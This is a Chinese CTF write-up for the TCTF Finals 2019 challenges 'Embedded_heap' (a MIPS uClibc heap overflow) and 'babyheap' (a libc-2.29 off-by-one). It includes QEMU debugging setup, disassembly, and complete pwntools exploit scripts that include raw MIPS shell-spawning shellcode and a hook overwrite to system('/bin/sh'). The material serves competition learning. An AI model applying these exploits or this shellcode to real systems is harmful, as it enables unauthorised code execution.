CTF Re&&Pwn工作生活

TCTF Finals 2019 Embedded_heap

2019-08-05  本文已影响12人  Kirin_say

一个月多前写的,其他的没时间复现了

MIPS PWN Debug with QEMU(System && User Mode)
OFF By NuLL in libc-2.29

0x01 Embedded_heap

Debug

Localhost:

gdb-multiarch  ./embedded_heap  -q
#set architecture mips:isa32r2
#target remote :1234

Exec Environment:

User Mode:

sudo chroot . ./qemu-mips  ./embedded_heap  #qemu-mips (static)
or
qemu-mips  -L ./  ./embedded_heap

System Mode:

qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
  -kernel vmlinux-4.9.0-9-4kc-malta \
  -initrd kirin.cpio.gz \
  -device virtio-net,netdev=net0 \
  -netdev user,id=net0,hostfwd=tcp::1234-:1234 \
  -monitor null \
#固定cpio.gz文件系统,cpio解压时sudo,普通用户有时会解压不全
#而后更改文件系统,再chown入普通用户,重新构建cpio.gz即可

gdbserver:

https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
#gdbserver  :1234  ./embedded_heap

Another Way:

/usr/sbin/xinetd -stayalive

同时:

#cat etc/xinetd.d/embedded_heap 
service embedded_heap
{
    disable = no
    type = UNLISTED
    flags = REUSE
    wait = no
    socket_type = stream
    protocol = tcp
    bind = 0.0.0.0
    rlimit_cpu = 60
    port = 9334
    user = ctf
    group = ctf
    server = /embedded_heap
}

此时run.sh

qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
  -kernel vmlinux-4.9.0-9-4kc-malta \
  -initrd kirin.cpio.gz \
  -device virtio-net,netdev=net0 \
  -netdev user,id=net0,hostfwd=tcp::1234-:1234,hostfwd=tcp::9334-:9334 \
  -monitor null \

其中9334用于程序运行交互,1234用于gdbserver调试(PID,在连接后即会看到新的程序进程)

Successful:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x4c69a000 0x4c69b000 rwxp     1000 0      
0x55555000 0x55557000 r-xp     2000 0      /embedded_heap
0x55566000 0x55567000 r-xp     1000 1000   /embedded_heap
0x55567000 0x55568000 rwxp     1000 2000   /embedded_heap
0x55568000 0x55569000 rwxp     1000 0      [heap]
0x77f80000 0x77fd2000 r-xp    52000 0      /lib/libuClibc-0.9.33.2.so
0x77fd2000 0x77fe1000 ---p     f000 0      
0x77fe1000 0x77fe2000 r-xp     1000 51000  /lib/libuClibc-0.9.33.2.so
0x77fe2000 0x77fe3000 rwxp     1000 52000  /lib/libuClibc-0.9.33.2.so
0x77fe3000 0x77fe8000 rwxp     5000 0      
0x77fe8000 0x77fef000 r-xp     7000 0      /lib/ld-uClibc-0.9.33.2.so
0x77ffa000 0x77ffc000 rwxp     2000 0      
0x77ffc000 0x77ffd000 r--p     1000 0      [vvar]
0x77ffd000 0x77ffe000 r-xp     1000 0      [vdso]
0x77ffe000 0x77fff000 r-xp     1000 6000   /lib/ld-uClibc-0.9.33.2.so
0x77fff000 0x78000000 rwxp     1000 7000   /lib/ld-uClibc-0.9.33.2.so
0x7fc31000 0x7ffff000 rw-p   3ce000 0      [stack]
0x7ffff000 0x80000000 r-xp     1000 0      

Analyze

checksec ./embedded_heap 
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/tctf/mipspwn/embedded_heap'
    Arch:     mips-32-big
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

NX->has RWX??
比赛时候没有仔细看,在System Mode下调试即可发现,其一些段可读可写可执行(好像是MIPS没实现NX??,还有可能是因为他的动态库没有NX保护),从权限看只是对栈进行了控制
程序:
main:

.text:000019F4  # int __cdecl main(int argc, const char **argv, const char **envp)
.text:000019F4                 .globl main
.text:000019F4 main:                                    # DATA XREF: LOAD:0000045C↑o
.text:000019F4                                          # _ftext+1C↑o ...
.text:000019F4
.text:000019F4 var_18          = -0x18
.text:000019F4 var_C           = -0xC
.text:000019F4 var_8           = -8
.text:000019F4 var_4           = -4
.text:000019F4
.text:000019F4                 li      $gp, 0x1860C     # Load Immediate
.text:000019FC                 addu    $gp, $t9         # Add Unsigned
.text:00001A00                 addiu   $sp, -0x28       # Add Immediate Unsigned
.text:00001A04                 sw      $ra, 0x28+var_4($sp)  # Store Word
.text:00001A08                 sw      $fp, 0x28+var_8($sp)  # Store Word
.text:00001A0C                 move    $fp, $sp
.text:00001A10                 sw      $gp, 0x28+var_18($sp)  # Store Word
.text:00001A14                 li      $v0, 0           # Load Immediate
.text:00001A18                 addiu   $v0, setbuf      # Add Immediate Unsigned
.text:00001A1C                 move    $t9, $v0
.text:00001A20                 jalr    $t9 ; setbuf     # Jump And Link Register
.text:00001A24                 nop
.text:00001A28                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001A2C                 sw      $v0, 0x28+var_C($fp)  # Store Word
.text:00001A30
.text:00001A30 loc_1A30:                                # CODE XREF: main:loc_1BA4↓j
.text:00001A30                 li      $v0, 0           # Load Immediate
.text:00001A34                 addiu   $v0, menu        # Add Immediate Unsigned
.text:00001A38                 move    $t9, $v0
.text:00001A3C                 jalr    $t9 ; menu       # Jump And Link Register
.text:00001A40                 nop
.text:00001A44                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001A48                 li      $v0, 0           # Load Immediate
.text:00001A4C                 addiu   $v0, get_num     # Add Immediate Unsigned
.text:00001A50                 move    $t9, $v0
.text:00001A54                 jalr    $t9 ; get_num    # Jump And Link Register
.text:00001A58                 nop
.text:00001A5C                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001A60                 li      $v1, 2           # Load Immediate
.text:00001A64                 beq     $v0, $v1, loc_1AD0  # Branch on Equal
.text:00001A68                 nop
.text:00001A6C                 slti    $v1, $v0, 3      # Set on Less Than Immediate
.text:00001A70                 beqz    $v1, loc_1A8C    # Branch on Zero
.text:00001A74                 nop
.text:00001A78                 li      $v1, 1           # Load Immediate
.text:00001A7C                 beq     $v0, $v1, loc_1AAC  # Branch on Equal
.text:00001A80                 nop
.text:00001A84                 b       loc_1B98         # Branch Always
.text:00001A88                 nop
.text:00001A8C  # ---------------------------------------------------------------------------
.text:00001A8C
.text:00001A8C loc_1A8C:                                # CODE XREF: main+7C↑j
.text:00001A8C                 li      $v1, 3           # Load Immediate
.text:00001A90                 beq     $v0, $v1, loc_1AF4  # Branch on Equal
.text:00001A94                 nop
.text:00001A98                 li      $v1, 5           # Load Immediate
.text:00001A9C                 beq     $v0, $v1, loc_1B8C  # Branch on Equal
.text:00001AA0                 nop
.text:00001AA4                 b       loc_1B98         # Branch Always
.text:00001AA8                 nop
.text:00001AAC  # ---------------------------------------------------------------------------
.text:00001AAC
.text:00001AAC loc_1AAC:                                # CODE XREF: main+88↑j
.text:00001AAC                 lw      $a0, 0x28+var_C($fp)  # Load Word
.text:00001AB0                 li      $v0, 0           # Load Immediate
.text:00001AB4                 addiu   $v0, update      # Add Immediate Unsigned
.text:00001AB8                 move    $t9, $v0
.text:00001ABC                 jalr    $t9 ; update     # Jump And Link Register
.text:00001AC0                 nop
.text:00001AC4                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001AC8                 b       loc_1BA4         # Branch Always
.text:00001ACC                 nop
.text:00001AD0  # ---------------------------------------------------------------------------
.text:00001AD0
.text:00001AD0 loc_1AD0:                                # CODE XREF: main+70↑j
.text:00001AD0                 lw      $a0, 0x28+var_C($fp)  # Load Word
.text:00001AD4                 li      $v0, 0           # Load Immediate
.text:00001AD8                 addiu   $v0, view        # Add Immediate Unsigned
.text:00001ADC                 move    $t9, $v0
.text:00001AE0                 jalr    $t9 ; view       # Jump And Link Register
.text:00001AE4                 nop
.text:00001AE8                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001AEC                 b       loc_1BA4         # Branch Always
.text:00001AF0                 nop
.text:00001AF4  # ---------------------------------------------------------------------------
.text:00001AF4
.text:00001AF4 loc_1AF4:                                # CODE XREF: main+9C↑j
.text:00001AF4                 lw      $a0, 0x28+var_C($fp)  # Load Word
.text:00001AF8                 li      $v0, 0           # Load Immediate
.text:00001AFC                 addiu   $v0, pwn         # Add Immediate Unsigned
.text:00001B00                 move    $t9, $v0
.text:00001B04                 jalr    $t9 ; pwn        # Jump And Link Register
.text:00001B08                 nop
.text:00001B0C                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001B10                 li      $v0, 0           # Load Immediate
.text:00001B14                 addiu   $a0, $v0, aOneMoreTimeTry  # "One more time! Try it harder!"
.text:00001B18                 la      $v0, puts        # Load Address
.text:00001B1C                 move    $t9, $v0
.text:00001B20                 jalr    $t9 ; puts       # Jump And Link Register
.text:00001B24                 nop
.text:00001B28                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001B2C                 lw      $a0, 0x28+var_C($fp)  # Load Word
.text:00001B30                 li      $v0, 0           # Load Immediate
.text:00001B34                 addiu   $v0, pwn         # Add Immediate Unsigned
.text:00001B38                 move    $t9, $v0
.text:00001B3C                 jalr    $t9 ; pwn        # Jump And Link Register
.text:00001B40                 nop
.text:00001B44                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001B48                 li      $v0, 0           # Load Immediate
.text:00001B4C                 addiu   $a0, $v0, aEverythingIsSt  # "Everything is still fine. Is that all y"...
.text:00001B50                 la      $v0, puts        # Load Address
.text:00001B54                 move    $t9, $v0
.text:00001B58                 jalr    $t9 ; puts       # Jump And Link Register
.text:00001B5C                 nop
.text:00001B60                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001B64                 lw      $a0, 0x28+var_C($fp)  # Load Word
.text:00001B68                 li      $v0, 0           # Load Immediate
.text:00001B6C                 addiu   $v0, update      # Add Immediate Unsigned
.text:00001B70                 move    $t9, $v0
.text:00001B74                 jalr    $t9 ; update     # Jump And Link Register
.text:00001B78                 nop
.text:00001B7C                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001B80                 move    $v0, $zero
.text:00001B84                 b       loc_1BAC         # Branch Always
.text:00001B88                 nop
.text:00001B8C  # ---------------------------------------------------------------------------
.text:00001B8C
.text:00001B8C loc_1B8C:                                # CODE XREF: main+A8↑j
.text:00001B8C                 move    $v0, $zero
.text:00001B90                 b       loc_1BAC         # Branch Always
.text:00001B94                 nop
.text:00001B98  # ---------------------------------------------------------------------------
.text:00001B98
.text:00001B98 loc_1B98:                                # CODE XREF: main+90↑j
.text:00001B98                                          # main+B0↑j
.text:00001B98                 li      $v0, 1           # Load Immediate
.text:00001B9C                 b       loc_1BAC         # Branch Always
.text:00001BA0                 nop
.text:00001BA4  # ---------------------------------------------------------------------------
.text:00001BA4
.text:00001BA4 loc_1BA4:                                # CODE XREF: main+D4↑j
.text:00001BA4                                          # main+F8↑j
.text:00001BA4                 b       loc_1A30         # Branch Always
.text:00001BA8                 nop
.text:00001BAC  # ---------------------------------------------------------------------------
.text:00001BAC
.text:00001BAC loc_1BAC:                                # CODE XREF: main+190↑j
.text:00001BAC                                          # main+19C↑j ...
.text:00001BAC                 move    $sp, $fp
.text:00001BB0                 lw      $ra, 0x28+var_4($sp)  # Load Word
.text:00001BB4                 lw      $fp, 0x28+var_8($sp)  # Load Word
.text:00001BB8                 addiu   $sp, 0x28        # Add Immediate Unsigned
.text:00001BBC                 jr      $ra              # Jump Register
.text:00001BC0                 nop
.text:00001BC0  # End of function main

首先setbuf中map一段随机地址保存后面的chunk信息
而后利用随机数随机分配一些随机大小的chunk
可以进行update,free,view和exit操作
free操作只有两次,且可以看到没有UAF:

.text:00001838                 move    $a0, $v0         # ptr
.text:0000183C                 la      $v0, free        # Load Address
.text:00001840                 move    $t9, $v0
.text:00001844                 jalr    $t9 ; free       # Jump And Link Register
.text:00001848                 nop
.text:0000184C                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001850                 lw      $v0, 0x28+var_C($fp)  # Load Word
.text:00001854                 sll     $v0, 2           # Shift Left Logical
.text:00001858                 sll     $v1, $v0, 2      # Shift Left Logical
.text:0000185C                 subu    $v0, $v1, $v0    # Subtract Unsigned
.text:00001860                 lw      $v1, 0x28+arg_0($fp)  # Load Word
.text:00001864                 addu    $v0, $v1, $v0    # Add Unsigned
.text:00001868                 sw      $zero, 8($v0)

不过在update过程中:

.text:0000157C update:                                  # CODE XREF: main+C8↓p
.text:0000157C                                          # main+180↓p
.text:0000157C                                          # DATA XREF: ...
.text:0000157C
.text:0000157C var_18          = -0x18
.text:0000157C var_10          = -0x10
.text:0000157C var_C           = -0xC
.text:0000157C var_8           = -8
.text:0000157C var_4           = -4
.text:0000157C arg_0           =  0
.text:0000157C
.text:0000157C                 li      $gp, 0x18A84     # Load Immediate
.text:00001584                 addu    $gp, $t9         # Add Unsigned
.text:00001588                 addiu   $sp, -0x28       # Add Immediate Unsigned
.text:0000158C                 sw      $ra, 0x28+var_4($sp)  # Store Word
.text:00001590                 sw      $fp, 0x28+var_8($sp)  # Store Word
.text:00001594                 move    $fp, $sp
.text:00001598                 sw      $gp, 0x28+var_18($sp)  # Store Word
.text:0000159C                 sw      $a0, 0x28+arg_0($fp)  # Store Word
.text:000015A0                 li      $v0, 0           # Load Immediate
.text:000015A4                 addiu   $a0, $v0, aIndex  # "Index: "
.text:000015A8                 la      $v0, printf      # Load Address
.text:000015AC                 move    $t9, $v0
.text:000015B0                 jalr    $t9 ; printf     # Jump And Link Register
.text:000015B4                 nop
.text:000015B8                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:000015BC                 li      $v0, 0           # Load Immediate
.text:000015C0                 addiu   $v0, get_num     # Add Immediate Unsigned
.text:000015C4                 move    $t9, $v0
.text:000015C8                 jalr    $t9 ; get_num    # Jump And Link Register
.text:000015CC                 nop
.text:000015D0                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:000015D4                 sw      $v0, 0x28+var_10($fp)  # Store Word
.text:000015D8                 lw      $v0, 0x28+var_10($fp)  # Load Word
.text:000015DC                 bltz    $v0, loc_161C    # Branch on Less Than Zero
.text:000015E0                 nop
.text:000015E4                 lw      $v0, 0x28+var_10($fp)  # Load Word
.text:000015E8                 slti    $v0, 0x10        # Set on Less Than Immediate
.text:000015EC                 beqz    $v0, loc_161C    # Branch on Zero
.text:000015F0                 nop
.text:000015F4                 lw      $v0, 0x28+var_10($fp)  # Load Word
.text:000015F8                 sll     $v0, 2           # Shift Left Logical
.text:000015FC                 sll     $v1, $v0, 2      # Shift Left Logical
.text:00001600                 subu    $v0, $v1, $v0    # Subtract Unsigned
.text:00001604                 lw      $v1, 0x28+arg_0($fp)  # Load Word
.text:00001608                 addu    $v0, $v1, $v0    # Add Unsigned
.text:0000160C                 lw      $v1, 0($v0)      # Load Word
.text:00001610                 li      $v0, 1           # Load Immediate
.text:00001614                 beq     $v1, $v0, loc_1640  # Branch on Equal
.text:00001618                 nop
.text:0000161C
.text:0000161C loc_161C:                                # CODE XREF: update+60↑j
.text:0000161C                                          # update+70↑j
.text:0000161C                 li      $v0, 0           # Load Immediate
.text:00001620                 addiu   $a0, $v0, aInvalidIndex  # "Invalid Index"
.text:00001624                 la      $v0, puts        # Load Address
.text:00001628                 move    $t9, $v0
.text:0000162C                 jalr    $t9 ; puts       # Jump And Link Register
.text:00001630                 nop
.text:00001634                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001638                 b       loc_1708         # Branch Always
.text:0000163C                 nop
.text:00001640  # ---------------------------------------------------------------------------
.text:00001640
.text:00001640 loc_1640:                                # CODE XREF: update+98↑j
.text:00001640                 li      $v0, 0           # Load Immediate
.text:00001644                 addiu   $a0, $v0, aSize  # "Size: "
.text:00001648                 la      $v0, printf      # Load Address
.text:0000164C                 move    $t9, $v0
.text:00001650                 jalr    $t9 ; printf     # Jump And Link Register
.text:00001654                 nop
.text:00001658                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:0000165C                 li      $v0, 0           # Load Immediate
.text:00001660                 addiu   $v0, get_num     # Add Immediate Unsigned
.text:00001664                 move    $t9, $v0
.text:00001668                 jalr    $t9 ; get_num    # Jump And Link Register
.text:0000166C                 nop
.text:00001670                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001674                 sw      $v0, 0x28+var_C($fp)  # Store Word
.text:00001678                 lw      $v0, 0x28+var_C($fp)  # Load Word
.text:0000167C                 bgtz    $v0, loc_168C    # Branch on Greater Than Zero
.text:00001680                 nop
.text:00001684                 b       loc_1708         # Branch Always
.text:00001688                 nop
.text:0000168C  # ---------------------------------------------------------------------------
.text:0000168C
.text:0000168C loc_168C:                                # CODE XREF: update+100↑j
.text:0000168C                 li      $v0, 0           # Load Immediate
.text:00001690                 addiu   $a0, $v0, aContent  # "Content: "
.text:00001694                 la      $v0, printf      # Load Address
.text:00001698                 move    $t9, $v0
.text:0000169C                 jalr    $t9 ; printf     # Jump And Link Register
.text:000016A0                 nop
.text:000016A4                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:000016A8                 lw      $v0, 0x28+var_10($fp)  # Load Word
.text:000016AC                 sll     $v0, 2           # Shift Left Logical
.text:000016B0                 sll     $v1, $v0, 2      # Shift Left Logical
.text:000016B4                 subu    $v0, $v1, $v0    # Subtract Unsigned
.text:000016B8                 lw      $v1, 0x28+arg_0($fp)  # Load Word
.text:000016BC                 addu    $v0, $v1, $v0    # Add Unsigned
.text:000016C0                 lw      $v1, 8($v0)      # Load Word
.text:000016C4                 lw      $v0, 0x28+var_C($fp)  # Load Word
.text:000016C8                 move    $a0, $v1
.text:000016CC                 move    $a1, $v0
.text:000016D0                 li      $v0, 0           # Load Immediate
.text:000016D4                 addiu   $v0, sub_AD0     # Add Immediate Unsigned
.text:000016D8                 move    $t9, $v0
.text:000016DC                 jalr    $t9 ; sub_AD0    # Jump And Link Register
.text:000016E0                 nop
.text:000016E4                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:000016E8                 li      $v0, 0           # Load Immediate
.text:000016EC                 addiu   $a0, $v0, aChunkDUpdated  # "Chunk %d Updated\n"
.text:000016F0                 lw      $a1, 0x28+var_10($fp)  # Load Word
.text:000016F4                 la      $v0, printf      # Load Address
.text:000016F8                 move    $t9, $v0
.text:000016FC                 jalr    $t9 ; printf     # Jump And Link Register
.text:00001700                 nop
.text:00001704                 lw      $gp, 0x28+var_18($fp)  # Load Word
.text:00001708
.text:00001708 loc_1708:                                # CODE XREF: update+BC↑j
.text:00001708                                          # update+108↑j
.text:00001708                 move    $sp, $fp
.text:0000170C                 lw      $ra, 0x28+var_4($sp)  # Load Word
.text:00001710                 lw      $fp, 0x28+var_8($sp)  # Load Word
.text:00001714                 addiu   $sp, 0x28        # Add Immediate Unsigned
.text:00001718                 jr      $ra              # Jump Register
.text:0000171C                 nop
.text:0000171C  # End of function update

可以看到最终read的size可控,所以可以溢出控制整个堆

Exploit

mips下主要使用的是针对嵌入式环境的uclibc:

https://www.uclibc.org/downloads/

其针对堆的实现有:

malloc
malloc-standard
malloc-simple

其中malloc是最开始uclibc内部实现的堆实现方式,后期使用的是malloc-standard,即从glibc中迁移过来的堆管理方式,几种方式源码实现方式都比较简单,不用细说
uClibc-0.9.33.2下使用的是malloc-standard
free过程中:

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)

#if TRIM_FASTBINS//此处定义后,topchunk前的fastbin大小的chunk不会free进入fastbin
        /* If TRIM_FASTBINS set, don't place chunks
           bordering top into fastbins */
        && (chunk_at_offset(p, size) != av->top)
#endif
       ) {

    set_fastchunks(av);//设置max_fast中对应标志位
    fb = &(av->fastbins[fastbin_index(size)]);//av中对应bin的位置
    p->fd = *fb;
    *fb = p;
    }
#define fastbin_index(sz)        ((((unsigned int)(sz)) >> 3) - 2)

所以这里可以首先修改size来覆写max_fast
此时将一个ptr写入max_fast,这样再次free一个大堆时就可以将一个堆块指针写入一个高地址处的func_ptr来劫持控制流,因为可以看到NX下heap具有可执行权限,将其填充好shellcode即可
在exit过程中跟踪程序流可以看到:

   0x77fe8f18 <_ftext+104>    ori    $v0, $v0, 8
 ► 0x77fe8f1c <_ftext+108>    lw     $t9, -0x7fac($gp) <0x77fe8eb0>
   0x77fe8f20 <_ftext+112>    move   $a0, $s0
   0x77fe8f24 <_ftext+116>    jalr   $t9
 
   0x77fe8f28 <_ftext+120>    sh     $v0, 0x4a($s0)
   0x77fe8f2c <_ftext+124>    lw     $v0, 0x9c($s0)
   0x77fe8f30 <_ftext+128>    beqz   $v0, _ftext+156 <0x77fe8f4c>
 
   0x77fe8f34 <_ftext+132>    lw     $gp, 0x10($fp)
   0x77fe8f38 <_ftext+136>    lw     $t9, ($s0)
   0x77fe8f3c <_ftext+140>    addu   $t9, $v0, $t9
   0x77fe8f40 <_ftext+144>    jalr   $t9
pwndbg> print $gp
$4 = 2013294608
#0x78007010

此处函数地址位于/lib/ld-uClibc-0.9.33.2.so,位于state高地址,可以覆盖此处为一个chunk地址,而后在presize置跳转到真正shellcode(因为覆盖的地址指向chunk头,不是data域),或者直接利用最后的update将对应位置写入shellcode
整个利用过程:

struct malloc_state {

  /* The maximum chunk size to be eligible for fastbin */
  size_t  max_fast;   /* low 2 bits used as flags */

  /* Fastbins */
  mfastbinptr      fastbins[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr        top;

  /* The remainder from the most recent split of a small request */
  mchunkptr        last_remainder;

  /* Normal bins packed as described above */
  mchunkptr        bins[NBINS * 2];

  /* Bitmap of bins. Trailing zero map handles cases of largest binned size */
  unsigned int     binmap[BINMAPSIZE+1];

  /* Tunable parameters */
  unsigned long     trim_threshold;
  size_t  top_pad;
  size_t  mmap_threshold;

  /* Memory map support */
  int              n_mmaps;
  int              n_mmaps_max;
  int              max_n_mmaps;

  /* Cache malloc_getpagesize */
  unsigned int     pagesize;

  /* Track properties of MORECORE */
  unsigned int     morecore_properties;

  /* Statistics */
  size_t  mmapped_mem;
  size_t  sbrked_mem;
  size_t  max_sbrked_mem;
  size_t  max_mmapped_mem;
  size_t  max_total_mem;
};

先置一个chunk的size为8,此时free掉即可覆盖max_fast
再根据需要覆盖的函数指针地址和state的偏移设置另一个chunk(布置shellcode),free后,即可将此处函数指针置为&shellcode,最终调用即可get shell

EXP

from pwn import *
import time
def req2size(size):
    return  (0x10 if size+4+7<0x10 else (size+4+7)&(~7))
def update(index,size,data,first=False):
    if not first:
        p.sendlineafter(": ","1")
    p.sendlineafter(": ",str(index))
    p.sendlineafter(": ",str(size))
    p.sendafter(": ",data)

p=remote("127.0.0.1",9332)
context.log_level="debug"
context.arch="mips"
p.recvuntil("===== Embedded Heap =====\n")
size_map=[]
while True:
    if "Chunk" not in p.recvuntil(":"):
          break
    size=p.recvuntil(" bytes")[1:-6]
    size_map.append(req2size(int(size)))
print map(hex,size_map)
state_off = 0x66D7C
fini_off = 0x7f064
fake_size =((((fini_off-state_off)&0xffffffff)/4 + 1)*8)&0xffffffff
print hex(fake_size)
shellcode = "3c092f2f35296269afa9fff43c096e2f35297368afa9fff8afa0fffc27bdfff403a02020afa0fffc27bdfffc2806ffffafa6fffc23bdfffc03a030203c198c973739ffff03204827afa9fffc27bdfffc2805ffffafa5fffc23bdfffc2419fffb0320282700bd2820afa5fffc23bdfffc03a0282034020fab0101010c".decode("hex")
#shellcode=asm(shellcraft.mips.linux.sh(),endian="big")//something wrong
data_size={ size_map[0]-8 : p32(0) + p32(8,endian = 'big'),
    size_map[1]+size_map[0]-8 : p32(0)+p32(fake_size,endian = 'big') }
data = fit(data_size,filler="\x00")
p.sendline("1")
update(0,len(data),data,True)
p.sendlineafter(": ","3")
p.sendlineafter(": ","1")
p.sendlineafter(": ","2")
code = {size_map[1]+size_map[0]-8 : shellcode}
fake_code = fit(code,filler="\x00")
p.sendlineafter(": ","0")
p.sendlineafter(": ",str(len(fake_code)))
#time.sleep(20)//For gdbserver  to debug
p.sendafter(": ",fake_code)
p.interactive()

0x02 babyheap

比较简单的off-by-one
选择利用unlink构造堆重叠而后进一步利用
注意libc-2.29下unsorted合并有前后size对照检查以及使用ld文件进行本地调试即可

from pwn import *


def new(size):
   p.sendlineafter("Command: ","1")
   p.sendlineafter("Size: ",str(size))
def edit(index,size,note):
   p.sendlineafter("Command: ","2")
   p.sendlineafter("Index: ",str(index))
   p.sendlineafter("Size: ",str(size))
   p.sendafter("Content: ",note)
def delete(index):
   p.sendlineafter("Command: ","3")
   p.sendlineafter("Index: ",str(index))
def show(index):
   p.sendlineafter("Command: ","4")
   p.sendlineafter("Index: ",str(index))
   p.recvuntil("]: ")
   return p.recvuntil("\n").strip()
#p=process(["./lib/ld-2.29.so","--library-path","./lib","./babyheap2.29"])
p=remote("192.168.201.21",1904)
#leak
context.log_level="debug"
new(0x18)     
new(0x4f8)
new(0x18)
delete(1)
new(0x4f8)
libc_addr=u64(show(1)+"\x00\x00")+0x7ffff7ddb000-0x7ffff7fbfca0
print hex(libc_addr)
delete(0)
delete(2)
new(0x18)
new(0x18)
heap_addr=u64(show(0)+"\x00\x00")
print hex(heap_addr)
new(0x4f8)#3
new(0x4f8)#4
new(0x18)
edit(3,0x4f8,p64(heap_addr-0x10)+p64(heap_addr+0x510)+p64(0)*156+p64(0x500))
edit(0,0x8,p64(heap_addr+0x530))
edit(2,0x10,p64(0)+p64(heap_addr+0x530))
delete(4)
new(0x18)#4
delete(3)
edit(4,0x8,p64(libc_addr+0x1e75a8))
new(0x18)#3
new(0x18)#4
edit(6,0x8,p64(libc_addr+0x52fd0))
edit(3,0x8,"/bin/sh\x00")
#gdb.attach(p)
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读